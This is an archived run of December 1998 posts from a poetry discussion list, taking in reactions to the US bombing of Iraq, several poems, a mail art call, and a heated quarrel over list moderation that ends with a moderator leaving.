No longer resident in Berkeley, I nonetheless listen to its PBS station, KPFA, a great deal, and particularly during such crises as this one. After being all day long tuned-in to speaker after speaker who shares my views, I forget that many people are denied any contact with radical radio (I have no idea how that liberal station what's it's name is handling this issue). One speaker today, an expert on Middle East affairs, whose name I regret I didnt catch, was saying "if you believe there is no connection between impeachment and bombing Iraq, you believe that Santa is coming down the chimney next week and that the fairy came and took your tooth away." I grant you that this was not the reasoned part of his argument. For the reason that I live in a cocoon of radical truth, Tosh's question 'Why impeach Clinton?" [for illegal airstrikes on the civilian population of another sovereign nation] struck me as absurd. I apologize. I have a nose for this kind of political jiggery-pokery, and knew from the start that the Tonkin Gulf Incident was being manufactured in order to widen the war. This turned out to be true--many years later. But perhaps the problem is that I have insufficient respect for authority, which, after all, by its very nature, knows best.

I will add that the naivite of even educated Americans, when it comes to foreign policy, fills me with dismay. Here's some more, but different, naivite:

I AS IN IMAGINE

I as in America
I as in Iraq
I as in East Timor
I as in Indonesia
I as in India
I as in Pakistan
I as in Russia
I as in China
I as in Libya
I as in Israeli
I as in Jordanian

need I go on? An illegal++ airstrike is murder, is it not? An unsanctioned killing of...of your mother, Tosh, or your wife, or your child. Or mine. I as in Imagine. Maybe because as a child I was bombed (legally, however) by the Germans, I find it impossible to distance myself when even dark-skinned people are being burned and blasted apart. Unfortunately for the rest of the world, the USA has not been subject to aerial blitzkrieg.

Joel, I hope that this is not one of those "water-cooler" posts you had in mind. IMHO, what happens to the language of truth during such international

"negotiations" has a strong connection with poetry and poetics. It feels that w/o Rachel Levinsky and Alan Sondheim, to mention just two, we would be fiddling while Rome burns. Or I mean Baghdad. True, I can't imagine Samuel Beckett posting to the List in protest against American foreign policy, for there seems little to be done, and he was often the first to notice when such was the case. Perhaps mine is a pointless sounding-off, and if so, I apologize again.

A d even if the commander-in-chief can be taken at his word,I dont know how you locate half-a-glass of anthrax--enough for us all--with even ten thousand Cruise missiles. Oowww! Damn, but it hurts to be burned!

Happy Ramadhan. David

++ thanks, Dan Zimmerman, for the qualification re Clinton not needing Congress to ok the first 60 days of lethal violence against other peoples using our tax dollars i.e. our selves. However, he does require the UN Security Council's okay, and this he does not have.

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643. **Gabriel Gudding**

Joel Kuszai, Take a Vacation

Fri 18 Dec 1998

On Thu, 17 Dec 1998, J Kuszai wrote:

> *I realize that this is a topic that everyond is talking about.*
> *This is not a water cooler.*
> *mindless chitchat.*

Joel,

If this is the kind of frontchannel list "moderation" thought necessary by the team of list "moderators," I must say that I prefer the old method: Deletion. Just delete the posts that don't pass your obviously high standards of what constitutes Non-mindless chatter [maybe all the posts having to do with Mindless Commerce and Careerist Buttkiss, for instance].

Rather than posting your attempts at moderation in a beery swagger (had you been drinking?), why don't you just abandon your job altogether: you obviously find the work burdensome, judging by this and the last few frontchannels to your Fellow Cop, Charles Bernstein.

You and Bernstein can't seem to decide between the Invisible Hand and the Heavy Hand: "Ahh, do I delete Henry's posts or just attack him as a moron?" "Do I delete this new guy's post or just slur a paragraph about mindlessness?"

You keep going this way, you two, and this list is going to become as boring as CB's poetry. And that's saying something. Loosen up, Kuszai: you've got the

ring of the Office Dead in your voice. Get thee to the MLA, boy: that'll put some spring in your step.

Your comment to D was frankly rather piggish, far more "mindless" and indeed more offensive to my sensibility than David's emotive outburst. The US is bombing Iraqis again and you want to diddle about what's an appropriate comment? If YOU can make one, post it.

Gabriel

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644. **R. Gancie/C.Parcelli**
Re: please don't bother to backchannel either
Fri 18 Dec 1998

Joel,
This is Bullshit! Your attack on David D.'s post had the net effect of humiliating a newcomer to the list and if you didn't do it intentionally, it certainly had that effect judging from his followup response. Wher's your apology to David D. Your "water cooler" post had the same cold, calculating, unfeeling tone that Bernstein's purges of Henry Gould had. And don't use the 'Alan Sondheim comments' canard. What Sondheim knows about Post-World War II American history you could put in a paper bag, light on fire and leave on Vernon Walters' front porch. Actually, I take that back; it doesn't reach the level of a prank. The concensus against Gudding on the list sounds like the 'patriotic' concensus for the current institutionalized murder over the skies of Iraq and there are certainly enough sociological studies on the nautre and operation of institutions to explain why this appears so.
Admittedly, I stayed out of the Blow Up/Job discussion because, Joel is right. In this venue it could never rise above a media reactive 'water cooler' generalized breast beating. But that's not to say I'd stop it; I'd simply choose not to participate. I would certainly not try to regulate based on the poster's artistry and/or professional position; something that seems to happen with some frequency through the Poetics ministry of information.
There was a little blither on this list about Pinochet. But nothing about the tens of millions of dollars that transnational corporations and their stooges on both sides of Congress, in the executive, as well as several intelligence services flooded the Venezuelan elections with in order to defeat Hugo Chavez. All that illegality and immorality failed and we have the makings of another Chile/Indonesia/Brazil/Guatemala etc. etc. that Joel, one can presume,

would have arbitrated in an ignorant and passionless fashion after the fact. The Post for Dec. 12 had a headline that read, "Venezuelans Relieved As Chavez Eases Rhetoric." The inquisitive reader is left to wonder if the majority of Venezuelans who voted for Chavez and the 3/4 of the population that are starving, 300+ of whom died in bread riots that led to Chavez's failed coup, are the ones relieved. Of course not. The Post means the 2% Venezuelan elite, transnational corporations and their stockholders and the puppet governments in Washington and Langley that already have an array of contingencies in place if Chavez fails to bow to 'free market democratic principles.' The Post means the people that 'matter', e.g. the ones with money and power, are relieved.
This list is too petty to establish a parallel with the above. But its also too petty to provide an alternative.
Can you deny there is ass-kissing galore on this list? Haven't any of you read Amato's posts from the Perloff/Bernstein lecture? And wasn't Bernstein's approach either delusional or intentionally contentless, at least as can be determined from what Amato billed as a F/2/F with B. That didn't sound like the parts of the anatomy that were meeting in this instance. And Bernstein had been caught out in some lies. Can you have poetics much less poetry in this atmosphere? Or do you end up with a bunch of nobodies outside their tiny little professional lives deluding themselves about the importance of their essentially meaningless projects. Christ, I'm one fuckin' step away in my bookstore and your discussions would never find resonance there.
And so what if Gudding is a better imaginative writer/poet than Bernstein. I've read both guys and that's the way the talent hierarchy falls out in my judgment. But then again, I'm not going to MLA. Further, this makes conversation with Gudding more valuable to me than fraternization with Bernstein, Perloff or Joel for that matter. Joel's not evil enough to, say, conjure up images of Baby Doc getting on a plane for the south of France and the list if it persists in its priggishness won't be worth a damn in the world most of humanity operates in anyway. And its participants will be able to bring less and less to that world as they persist in their bunker poetics, which for all the world smells like a consequence of Langpo. I would never dream of discussing history with you folks. I got a half dozen retired CIA operations guys to scream at in my store. And they come back for more because, and it hurts me to say it, they believe, in their own 'complicated', lesser of two evil ways. I'd never tell them I'm a poet because poetry in its present incarnations is so ludicrous and immaterial, they'd laugh in my face.---Carlo Parcelli

J Kuszai wrote:

>
> Gabe, I hope we can meet someday. I hope you and others who have flamed
> me are as courageous in person as you are virtually. If it was up to me,
> I would have deleted you a long time ago. But, since I don't get to do
> what you want, and you do, I have decided to leave the list. I'm not
> trying to be dramatic. This list has been a lifeline for me and leaving
> it is not easy. I appreciated Alan's comments on the bombing and the
> poetry and critical discourse swirling around it. On the other hand, I
> do think I was pretty specific about what I objected to. I also noted
> that I was "personally" opposed to that sort of thing. So, with this in
> mind, I wish you all well.

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645. **Gabriel Gudding**
Re: Joel Kuszai, Take a Vacation
Fri 18 Dec 1998

I wish to apologize for the lack of imagination in my insults to joel and charles this morning: I was at the christmas sherry [Savory & James, Manzanilla {imported}] and had just switched to some port when I wrote that; my liver and pancreas hadn't yet adjusted, sending my brain into a hypoglycemic reeling [any port in a storm]; will try in future to show the muse into my malice. gaga

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646. **J Kuszai**
please don't bother to backchannel either
Fri 18 Dec 1998

Gabe, I hope we can meet someday. I hope you and others who have flamed me are as courageous in person as you are virtually. If it was up to me, I would have deleted you a long time ago. But, since I don't get to do what you want, and you do, I have decided to leave the list. I'm not trying to be dramatic. This list has been a lifeline for me and leaving it is not easy. I appreciated Alan's comments on the bombing and the poetry and critical discourse swirling around it. On the other hand, I do think I was pretty specific about what I objected to. I also noted that I was "personally" opposed to that sort of thing. So, with this in mind, I wish you all well.

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647. Eliza McGrand
joel, ignore creepy posts with your name in subject header
Fri 18 Dec 1998

---

hey joel,
and list

i thought perhaps your response re: water cooler chat might have been better made backchannel and in milder tones, but it was not such an affront to humanity that it deserved gabriels deeply personal, nasty post. i am sorry that appeared on the list.

e

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648. Ramez Qureshi
syllable sounds arn't quite so loud as bombs
Fri 18 Dec 1998

Came across a list of words voted most agreeable to the British ear in a
1980 _Sunday Times_ poll.
1)melody
1)velvet
3)gossamer
3)crystal
4)autumn
5)peace
6)tranquil
7)twilight
8)murmur
10)caress
10)mellifluous
10)whisper

No carcenoma!
Though, given recent events,
i'd be glad to in a twilight hour,
whisper it repeatedly, with a melody, into the
ears of Mr's Clinto & Blair.

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649. **Judy Roitman**
Re: what we deserve
Fri 18 Dec 1998

While agreeing with Joel (and always suspicious of the tendency of my own political ventings to affirm my sense of righteousness and delusion of having taken action), it was Alan Sondheim's early note that alerted me (and perhaps others) to the bombing, for which I am grateful. I would not otherwise have known until the next morning.

There is always the issue of language and image. Technocratic gloating in the media is particularly offensive here. But scenes from Baghdad remind us that the people our bombs are killing are indeed human.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

650. **Anastasios Kozaitis**
Re: "degrade"
Fri 18 Dec 1998

NAKED AGGRESSION

At 02:36 PM 12/17/98 -0800, you wrote:
>Has anybody else noticed how much the word "degrade" is being used in
>reference to the attacks on Iraq? It seems that with each major event
>there is a word or phrase that somehow describes the thought-form or
>psychic locale of the whole operation.
>
>The whole Clinton affair began with "perjury" and "private life", but it
>seems ironic that in the definition of "degrade" there is mention of
>reducing in rank, which is at the heart of the impeachment efforts.
>
>Does anybody recall what were some of the other "keywords" surrounding
>Bush's desert storm?
>
>--trace--

>
>degrade \De*grade"\, v. t. [imp. & p. p. Degraded; p. pr. &
> vb. n. Degrading.] [F. d['e]grader, LL. degradare, fr. L.
> de- + gradus step, degree. See Grade, and cf. Degree.]
> 1. To reduce from a higher to a lower rank or degree; to
> lower in rank; to deprive of office or dignity; to strip
> of honors; as, to degrade a nobleman, or a general
> officer.
>

↑ Index

651. **Joe Amato/Kass Fleisher**
Re: The poetics of impeachment
Fri 18 Dec 1998

---

well my email system went down when we started bombing iraq, go figure...

i was relieved to see around here responses/reactions to this sad event, b/c this is one of the places where i hang out and i like to think you poets and poetry-inclined are all concerned citizens...

tom o, from that (now (three day) old) thread: yeah, that's about right, your articulation of things...

---

i don't think clinton should be impeached, and i don't think we should be bombing iraq... so i surely don't think we should be bombing iraq now, and i don't think clinton should be impeached now... as kass would say, lots of political hay being made on all sides of this issue, even as blood is spilled "over there"...

and that said: i *do* believe we (the planet earth and its tribal communities) need to devise some sort of international mechanism to remove tyrants (ok?) from "office" (we need international mechanisms for a LOT of things, incl. the environment)... i wish i had all the answers, but i'm positive that the answer is *not* to claim merely that all nations have a sovereign right to kill and torture their own citizens to their leaders' content---which thereby leaves us with the relative luxury of retreating into an apparently non-interventionist stance (while in actuality helping to install puppet regimes ad nauseum)... which is to say, i don't hold for isolationism, real or imagined... personally, i think that a military intervention into iraq using (de facto internationally constituted) ground troups---whose mission was, first and foremost, to remove hussein---would result in many fewer civilian casualties (but of course more military losses on "our" side), and would result in less damage to the iraqi infrastructure, which

itself is causing such misery in that poor country... though obviously there's no "perfect" solution in this far-from-perfect world...

my two bits' worth, from my swivel chair...

best,

joe

↑ Index

652. Irving Weiss
mail art call
Fri 18 Dec 1998

Forwarding this. If already done so, please excuse.

From: "tartarugo" <[redacted]>
To: "Jordi Riera" <[redacted]>, "Jordi Barrachina" <[redacted]>, "John Bennett" <[redacted]>, "Johel Cohen" <[redacted]>, "Joachim" <[redacted]>, "jjp" <[redacted]>, "Jim Hayes" <[redacted]>, "Jean Michel Espinasse" <[redacted]>, "Javier Creus" <[redacted]>, "Jane Marie Chambault" <[redacted]>, "James Durand" <[redacted]>, "Jack Kid" <[redacted]>, "J. Lehmus" <[redacted]>, "J Felter" <[redacted]>, "Ivana Martinez Vollaro" <[redacted]>, "Isabel Ron-Pedrique" <[redacted]>, "Irving Weiss" <[redacted]>, "industrias mikuerpo" <[redacted]>, "Ina Blom" <[redacted]>, "Illumination Gallery" <[redacted]>, "IBIRICO-A.M.A.E." <[redacted]>, "Hugo Sil" <[redacted]>, "Hugo Pontes" <[redacted]>, "Hugo Fernandez" <[redacted]>, "Horacio Espinosa" <[redacted]>, "Honoria" <[redacted]>, "Harry Polkinhorn" <[redacted]>, "Hale Tenger" <[redacted]>, "Guy Ferdinande" <[redacted]>, "Guy Bleus" <[redacted]>, "Gue Schmidt" <[redacted]>, "Group Public Projects" <[redacted]>
Subject: Mail Art Call
Date: Thu, 3 Dec 1998 19:44:57 +0100

At the end of the exhibitions, a catalogue will be publish and send to participants.

Deadline for the first exhibition (Tarragona): February/28/1999.

Send your works to the first exhibition to:

Boek861/Taller del Sol
Apartado 861
43080 Tarragona
Spain

More information at:

http://www.fut.es/~boek861
http://www.teleline.es/personal/tartarug
http://www.crosset.net
http://www.geocities.com/Soho/Workshop/6345/vortice.htm

Or writting to the organizers:

César Reglero Campos// Apartado 861// 43080 Tarragona// Spain
Tartarugo//Apartado 822// 36280 Vigo//Spain
Montse Fornós// Bailén 199, 2-1-//08037 Barcelona//Spain
Hans Braumueller// Osterstr, 98// D-20259 Hamburg// Germany
Clemente Padín// Casilla C. Central 1211// 11000 Montevideo// Uruguay
Fernando García Delgado// Bacacay 3103// 1406 Buenos Aires// Argentina
Jose Emilio Antón//Atocha 69//28012 Madrid//Spain
Elías Adasme// Urb. University Gardens 1009 Georgetown San Juan PR 00927-4822

PLEASE, COPY AND PASS

AU MA
(Acción Urgente de Mail Art)
+
Gom@(Global Organization of Mail Artists)

Le invita a participar en la exposición de Mail Art:

Por la libertad en la Enseñanza de las Artes: Readmisión de Humberto Nilo (La influencia de los regímenes totalitarios en la Cultura)

Técnica : libre.

Formato: A4

No hay selección.

Las obras no se devolverán. Pasarán a formar parte de los archivos de AU MA + [redacted] Europa y América.

Se organizará una exposición itinerante a través de Tarragona y Barcelona (España), Hamburgo (Alemania), Montevideo (Uruguay) y Buenos Aires (Argentina). Es posible que el circuíto se amplíe a otras ciudades aún sin confirmar.

Documentación periódica.

Al final del itinerario se publicará un catálogo que será enviado a todos los participantes.

Fecha límite de admisión para la primera exposición (Tarragona): 28-Febrero-1999.

Enviar las obras a:

Boek861/Taller del Sol
Apartado 861
43080 Tarragona
Spain

Más información en:

http://www.fut.es/~boek861
http://www.teleline.es/personal/tartarug
http://www.crosset.net
http://www.geocities.com/Soho/Workshop/6345/vortice.htm

O escribiendo a los miembros del comité organizador:

César Reglero Campos// Apartado 861// 43080 Tarragona// Spain Tartarugo// Apartado 822// 36280 Vigo//Spain Montse Fornós// Bailén 199, 2-1-//08037 Barcelona//Spain Hans Braumueller// Osterstr, 98// D-20259 Hamburg// Germany Clemente Padín// Casilla C. Central 1211// 11000 Montevideo// Uruguay Fernando García Delgado// Bacacay 3103// 1406 Buenos Aires// Argentina

Jose Emilio Antón//Atocha 69//28012 Madrid//Spain

Elías Adasme// Urb. University Gardens 1009 Georgetown San Juan PR 00927-4822

POR FAVOR, COPIA Y DIFUNDE

↑ Index

653. david bromige
loveliest of syllables, the Sunday Times...
Fri 18 Dec 1998

FOR READERS OF THE SUNDAY TIMES
(Britpoetry List, please x-post)

This mellifluous melody caressed my ears
with its whispers and murmurs one crystal autumn
gossamer velvet tranquil twilight:
Peace to your sleep, Sunday Times reader,
we do not murder to exist.

↑ Index

654. **Anastasios Kozaitis**

PotD

Fri 18 Dec 1998

EVERY MORNING AFTER KILLING
THOUSANDS OF ANGELS

I

I read a boy's poem called
"Every Morning After Killing Thousands of Angels"
I forget the poem, but the title won't leave me
I drink some coffee
read a paper read by millions
all the misery
all the destruction in the world
herded into headlines and catch phrases
the only part I trust
is the financial page
a completely blank space governed
by the mechanics of capital and pure speculation

2

That boy's mornings
and my mornings--
how are they different?

3

But the boy can see the angels' faces

4

What do you do
after you kill them?

I go out walking

Where?

To a river with a very big bridge over it

Every morning?

Every morning
while my hands are still bloody

5

I can't kill thousands of angels
but I walk a dry path to the beach
the hot sky's still filled
with sweating typhoon clouds
the sea's a later color
fall is not summer at the horizon
narrow streams run through
spaces silted with darkness
weak-looking capillaries float on my thin hands:
no place to anchor a big bridge

6

Noon at this end of the bridge
everything shines
shirt buttons
decayed tooth
an air rifle
broken sunglass lens
pink shells
smells of seaweed
river water mixing with the sea
sand
and
as far
as my footprints

7

It's my turn now
I'll tell you about the world
at the far end of the bridge
the shadow world
things and concepts totally shadow
shadows feeding on shadows
spreading, radiating like cancer cells
decomposing, radiating like cancer cells
decomposing organs and drowned bodies
green thought swelling and distending
medieval markets surging with merchants and prostitutes and
        monks
cats, sheep, hogs, horses, cows
every kind of meat on the butcher shop hooks
but no blood anywhere

8

So I can't see the bridge
unless I kill thousands of angels?

9

What sight excites me most sexually?
the bridge has disappeared
a riderless black horse
crosses the world of light
slowly, toward the shadow world
but exhausted, it falls
crying animal tears but not rotting
gleaming directly to bone
pure white bone
and then to earth
and then
dawn comes
I've got to go out and live
after killing
killing thousands of angels

--RYUICHI TAMURA
Translated from the Japanese by Christopher Drake

Japan (b. 1923)

Ryuichi Tamura was born in Otsuka, a suburb of Tokyo, and he grew up in the black room of a restaurant run by his mother. This was during an era of natural disasters, economic hardship, and militarism in Japan. In an effort, he said, to "break away from the conservativism and anachronism" of his culture, he began writing self-consciously modernist poems in school and fell in with a group of poets who looked to T.S. Eliot's work for inspiration. He studied at Meiji University but before graduation was drafted into the navy during the last two years of WWII. In postwar Tokyo writers questioned all the old values. "We were glad to be the living dead," he has said of that time, "with nothing to lose. We wanted to question the basic principles behind an industrial society based on war and imperialism, I tried to make my poems into holes or windows that would let me see through the indefinable spiritual waste as well as the obvious spiritual destruction." Since that time Tamura has continued to explore alternatives to the industrialized mechanisms of contemporary life.

↑ Index

655. Robert Archambeau
Re: please don't bother to backchannel either
Fri 18 Dec 1998

Emily Lloyd said exactly the right thing:

> *Don't you listers who are flaming Joel &*
> *Charles realize what an easy position you're in, and what a difficult*
> *one they're in?*

List discourse is often read as more hostile and less amusing than it is meant to be, but when it is -meant- to be overtly hostile and insulting, it probably shouldn't be posted.

I hope the list survives all this -- I suppose it can, the way most families survive the spontaneous annual reenactments of Who's Afraid of Virginia Woolf that go under the name of Thanksgiving Dinner.

Peace and Goodwill,

Bob Archambeau

↑ Index

656. Jasper Bernes
Re: water cool
Fri 18 Dec 1998

Please fire cruise missiles at following:

ELEGY WITH CROSSHAIRS

Science is visiting the Middle East, today;
the dollar is the new political dance craze people
do in flames. The planes are invisible.
A child licks fat snowflakes out of air, here.
Were this the tropics, I could--perhaps--scrawl
my scent on the street
SOS. Instead the man who found my wallet
eats nothing, in Mexico.
I think of my passport in the landfill and nod.
Recursive viral advertisements!
like a trace poison leaked worldwide--
a man running back and forth in a field
like a crazy wide receiver; a tap drip;
a courtyard of exploding pigeons.
Someone puts their love in singles
and another in empties.

The computers are drowning in numbers.
I hate surrealism, they say, frothing.
They think, logically, that it's a mutilation
of a mutilation, a logarithm
bending away from the earth's kiss.
The computers drown in men's fingers.
In their lightning speech, wildly dialing,
the word for disease means cure,
to touch a scalpel to a star is
flower. It's not surreal. It's
power. It's a bomb.

---J-)*&# Q. B%@,>(

↑ Index

657. Pierre Joris

Lancing a boil

Fri 18 Dec 1998

Enough is enough. Gudding, you may think you are hot shit in a champagne glass, but you are something less than luke warm diarrhea in a dixie cup. An absolute shit for sure. Your insults are unacceptable. Your apologies are unacceptable. Get off this list.

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

658. Joe Amato/Kass Fleisher
Re: please don't bother to backchannel either
Fri 18 Dec 1998

---

as i've said, i just read through the poetix posts this morning... seems to me joel was responding specifically to

> *MAN.....don't you see that THIS IS THE FUCKING PROBLEM?*

(by way of example)

i don't see joel as the fucking problem... which is not to say i see the above as the fucking problem, either, or even that i see "mindless chitchat" as the fucking problem... i think one fucking problem is when discussion heats up to the point of sending little electronic bombs out across the ether... and i thought joel was trying to say (whatever you make of what he said or how he said it) that perhaps it would behoove us not to be too impetuous, that what we don't need, esp. at this moment in historical time, is to amp up our email to the status of weaponry, defensive or offensive, in order to generate more adversarial exchange... albeit it's true that the events of the past few days are bound to produce just that...

come to think of it, maybe many of us *do* need to spend more time at the water cooler... hey, i'm on my way, gonna go soak my head, b/c i can't believe what's happening on the house floor, and in the skies over iraq, and---

best,

joe

↑ Index

659. Tosh
Re: The poetics of impeachment
Fri 18 Dec 1998

Tosh's question 'Why
>impeach Clinton?" [for illegal airstrikes on the civilian population of
>another sovereign nation] struck me as absurd. I apologize. I have a nose
>for this kind of political jiggery-pokery, and knew from the start that the
>Tonkin Gulf Incident was being manufactured in order to widen the war. This
>turned out to be true--many years later. But perhaps the problem is that I
>have insufficient respect for authority, which, after all, by its very
>nature, knows best.

When I asked the question "Why impeach Clinton?" I was responding to David's one sentence/poem "Impeach Clinton." At the time I didn't know if he was responding to the Iraq crisis or the ongoing debate in Washington about Clinton's

sexual activity. I wasn't sure what David was talking about - so the question was very simple. Impeach him for what? And again, these are two different issues. If you want to impeach him for attacking Iraq - that is one issue. If you want to impeach him for lying under oath about his sex habits - that's another issue. I wasn't clear in regards to what David was responding to

> *need I go on? An illegal++ airstrike is murder, is it not? An unsanctioned killing of...of your mother, Tosh, or your wife, or your child. Or mine. I as in Imagine. Maybe because as a child I was bombed (legally, however) by the Germans, I find it impossible to distance myself when even dark-skinned people are being burned and blasted apart. Unfortunately for the rest of the world, the USA has not been subject to aerial blitzkrieg.*

Actually a friend of mine - a painter from Iraq, his brother died in Iraq due to the fact that he couldn't get medical aid due to the restrictions placed by the U.S. as well as other Western countries. So yes, I am touched by any forms of violence committed - where ever it is happening in Europe, Asia, or down the street from me. I think ANY airstrike is murder - because someone (almost always) innocent gets killed.

best,
Tosh

Tosh Berman
TamTam Books

↑ Index

660. **schuchat**
sorry to see you go
Fri 18 Dec 1998

I'm sorry to see Joel leave the list; I always liked his posts, sensible and good humored.

↑ Index

661. **Hilton Manfred Obenzinger**
Re: The poetics of impeachment
Fri 18 Dec 1998

The attack on Iraq was expected for some time -- particularly that it would occur before Ramadan (a perverse nod towards religious propriety and the fact that the Muslim world would be even more enraged if the bombing was done during the holy month). US policy has been directed towards "containment" of Iraq (and Iran) for some time. There is no expectation (and possibly no real

desire) to overthrow Saddam Hussein, simply because there are no compliant "good" dictators to take his place. Bombings and further aggression have been on the agenda for years. It's quite likely that if there was a Republican president in office now exactly the same policy would be carried out -- since there is no substantial difference in policy regarding protecting "our" oil between the two parties. Clinton's bombing MAY be timed to coordinate with the impeachment crisis (although, keep in mind, the machinery has been in place for nearly a month) but the bombing policy has not been invented for domestic political purposes. I say this in response to David Bromige's understandable rage -- but the fact is that Clinton is not being impeached for war crimes but for sex crimes, and while the rightwing impeachment coup MAY have serious implications for foreign policy, it certainly has serious implications for domestic policy, the "culture wars," the rise of the Christian right, etc. (which in turn may create even more dangerous foreing policies, i.e. the return of "Armageddon" mentality to the White House).

I just had dinner with an Egyptian novelist last night who remarked on the strangely untenable positions so many people are being put in: he doesn't like Saddam Hussein, but he is no friend of Clinton; he objects to the bombing, but the opposition is dominated by Islamic radicals that he can have nothing to do with -- the contraries go on. Same here: Stop the bombing -- and stop THIS impeachment. As untenable as such a contradictory position may seem.

Events swamp poetics; poetics are shaped by "smart" bombs -- so I think it's appropriate to discuss this here. Without insults.

Hilton Obenzinger

↑ Index

662. **Karen McKevitt**

Re: please don't bother to backchannel either

Fri 18 Dec 1998

Hotmail has a wonderful email function. It's called "block sender." I haven't employed it yet, but I imagine it could solve the should I stay or should I go dilemma.

>Date: Fri, 18 Dec 1998 08:02:59 -0500
>Reply-To: UB Poetics discussion group
<[redacted]>
>From: J Kuszai <[redacted]>
>Subject: please don't bother to backchannel either
>To: [redacted]
>
>Gabe, I hope we can meet someday. I hope you and others who have flamed

>me are as courageous in person as you are virtually. If it was up to me,
>I would have deleted you a long time ago. But, since I don't get to do
>what you want, and you do, I have decided to leave the list. I'm not
>trying to be dramatic. This list has been a lifeline for me and leaving
>it is not easy. I appreciated Alan's comments on the bombing and the
>poetry and critical discourse swirling around it. On the other hand, I
>do think I was pretty specific about what I objected to. I also noted
>that I was "personally" opposed to that sort of thing. So, with this in
>mind, I wish you all well.

_____
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↑ Index

663. **A. Jenn Sondheim**
Re: Lancing a boil
Fri 18 Dec 1998

I want to second the motion. The list is losing far too many good people, and Gudding is not one of them. If I want flaming, I can go to alt.flame.

Alan

↑ Index

664. **Charles Alexander**
Re: please
Fri 18 Dec 1998

Goodbye. I'm sorry you're leaving, Joel.

I still rather naively want to see this list as something of a team (albeit not one with a specific goal), and though I don't know Eliza and Gabe and George and Rachel and many others and I do know Karen and Joe and David and Juliana and many others, I value (or valued, if they're already gone from the list) all their presences here, even if the team is sometimes rather dysfunctional (I've never been on one that wasn't, and I've been on some that coming through aspects of the dysfunction made them stronger). I do know Joel and value his presence here as well as his presence with me in other aspects of our work in poetry and poetics.

Thank you, Joel, for all you have given to this list -- your hard work, your good counsel, your honesty, your care.

charles

At 08:02 AM 12/18/98 -0500, you wrote:
>Gabe, I hope we can meet someday. I hope you and others who have flamed
>me are as courageous in person as you are virtually. If it was up to me,
>I would have deleted you a long time ago. But, since I don't get to do
>what you want, and you do, I have decided to leave the list. I'm not
>trying to be dramatic. This list has been a lifeline for me and leaving
>it is not easy. I appreciated Alan's comments on the bombing and the
>poetry and critical discourse swirling around it. On the other hand, I
>do think I was pretty specific about what I objected to. I also noted
>that I was "personally" opposed to that sort of thing. So, with this in
>mind, I wish you all well.
>
>

↑ Index

665. **Mark DuCharme**
Re: please don't bother to backchannel either
Fri 18 Dec 1998

"And the rude shall inherit the list...."

--apocryphal post

>Gabe, I hope we can meet someday. I hope you and others who have flamed
>me are as courageous in person as you are virtually. If it was up to
me,
>I would have deleted you a long time ago. But, since I don't get to do
>what you want, and you do, I have decided to leave the list. I'm not
>trying to be dramatic. This list has been a lifeline for me and leaving
>it is not easy. I appreciated Alan's comments on the bombing and the
>poetry and critical discourse swirling around it. On the other hand, I
>do think I was pretty specific about what I objected to. I also noted
>that I was "personally" opposed to that sort of thing. So, with this in
>mind, I wish you all well.
>

Goodbye Joel.
--Mark DuCharme

_____
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666. **charssmith**
Re: Pacifica Radio
Fri 18 Dec 1998

KPFA, as David must really know, is a part of the independent (no corporate funding) Pacifica Radio network, whose anarcho-founding members in 1949 included Kenneth Rexroth, & it has *NO* affiliation with PBS. News views & frames unavailable even on 'liberal' PBS stations. KPFA has recently made their live broadcasts available through Real Audio on their web page.

The programs Democracy Now & Flashpoints are highly recommended.

home page: http://www.kpfa.org/index.htm

streaming audio: https://swww.igc.apc.org/kpfa/0_e_real.htm

Often grim listening. First choice during crises.

all best,
Charles Smith

David writes:

<< No longer resident in Berkeley, I nonetheless listen to its PBS station, KPFA, a great deal, and particularly during such crises as this one. After being all day long tuned-in to speaker after speaker who shares my views, I forget that many people are denied any contact with radical radio >>

↑ Index

667. **charssmith**
KPFA, ps
Fri 18 Dec 1998

---

discussed & turned over yesterday:

"does this bombing of Iraq represent the end of diplomacy?"

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668. **Emily Lloyd**
Re: please don't bother to backchannel either
Fri 18 Dec 1998

Joel writes: >>>Gabe, I hope we can meet someday. I hope you and others who have flamed me are as courageous in person as you are virtually.<<<

Dammit, dammit, dammit. Don't you listers who are flaming Joel & Charles realize what an easy position you're in, and what a difficult one they're in? How dare you persecute them for trying to handle as best and as humanly as

possible a job like theirs? Especially if, like me, you've only been with the list, say, 1/10th (me, about 1/100th) of the time they have? And yes, I DO think the length of the time commitment they've made deserves your respect. Flamers have made it nigh impossible for Joel or Charles to post their opinions the way the rest of us can. It's like there's a fucking e-paparazzi out there just waiting for C's & J's posts to appear in order to morph them into national-enquirer level post-scandals. Why would you do this to a person? Why would you do this to a person?

When I was a closeted, confused, bitter high school student I made quite a reputation on malicious jokes, song parodies, etc. I was excellent at it, far more excellent than I have been at anything since. It's FUN to be a quick-draw, brilliantly biting, genius hurter of people. Having spent my time that way is my only enduring regret. So yes, I understand that you're having a lot of FUN with Charles & Joel. I know how seductive that is; I know the thrill of crafting the perfect put-down. But please, *please* stop it. Stop having fun & start talking about poetics. Maybe that could be fun, too. Probably not as-instantly gratifying fun, I'll grant that. It's work.

Gabriel, you, for ex., I know, have a kid. I do not think you'll appreciate the jest if the kid comes home one day after having been verbally brutalized as much as Joel & Charles have been by you. You'll probably want to kick the bully's ass.

I don't want to kick anyone's ass or to kick anyone off the list. But I feel physically sick when I think of Joel leaving. He has given, and continues to go out of his way to give, me reasons to post & feel welcome here. Whether or not you've felt, as I have, that Joel is a generous, hardworking, fair & concerned person, you at least, I hope, will agree that *Joel is a person*. Nothing justifies the consistent thrashings you've given to a fellow person. In the same way that nothing justifies the U.S.'s dropping bombs on Iraqi people. With the latter, we can only hope that our voices & vigils will make a difference. With the former, you making a difference is as easy as thinking before you post, and remembering there's a person (or 666 people) on the other side of that post. Stop it; just stop it.

Joel hopes he can meet Gabe someday. I hope I can meet Joel someday, to tell & show him in person how much his work, outreach, & thoughtfulness have meant to me and, I'd be willing to bet, the majority of subscribers to this list.

Joel, I'm sorry.

em

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↑ Index

669. **Karen Kelley**
Re: water cool
Fri 18 Dec 1998

